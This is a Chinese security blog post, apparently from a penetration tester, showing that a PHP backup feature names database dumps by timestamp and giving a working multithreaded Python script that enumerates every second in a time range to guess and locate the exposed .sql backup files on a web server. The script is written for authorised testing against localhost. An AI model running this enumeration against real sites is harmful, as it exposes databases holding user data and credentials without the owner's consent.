利用Python爆破数据库备份文件

  某次测试过程中,发现PHP备份功能代码如下:

// 根据时间生成备份文件名
$file_name = 'D' . date('Ymd') . 'T' . date('His');
$sql_file_name = $file_name . '.sql';

  那么形成的文件名格式如:D20180118T101433.sql,理论上是可以爆破的,于是写了一段Python脚本来尝试爆破。

Python测试脚本:

简单描述:设置一个开始的时间戳,然后遍历时间戳到当前时间点,得到一个列表,保存的时间格式为“20180110 000637”,然后带入请求,进行暴力猜解URL是否存在,如果存在就输出。

复制代码
#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import time
import requests
import threadpool

date= "2018-01-18 10:00:00"  //开始时间
datelist=[]

def gettime():
    timeArray = time.strptime(date,"%Y-%m-%d %H:%M:%S")
    time1= int(time.mktime(timeArray))
    time2=int(time.time())
    for i in range(time1,time2):
        time3= time.strftime('%Y%m%d %H%M%S', time.localtime(i))
        datelist.append(time3)
    return datelist
def req(str):           
    try:
        str1,str2=str.split()
        date1="D"+str1+"T"+str2
        url="http://127.0.0.1/data/backup/"+date1+".sql"
        s=requests.get(url,timeout=5)
        if  s.status_code==200:
            print u"数据库备份文件爆破成功:"
            print url
    except:
        pass

if __name__ == '__main__':
    list=gettime()
    pool = threadpool.ThreadPool(1000) 
    requ = threadpool.makeRequests(req,list) 
    [pool.putRequest(req) for req in requ] 
    pool.wait()
复制代码

Python 测试截图:

 

关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

参考链接:

python时间,日期,时间戳处理  http://blog.csdn.net/xiaobing_blog/article/details/12591917

posted @   Bypass  阅读(886)  评论(0编辑  收藏  举报
编辑推荐:
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App
· 张高兴的大模型开发实战:(一)使用 Selenium 进行网页爬虫
点击右上角即可分享
微信分享提示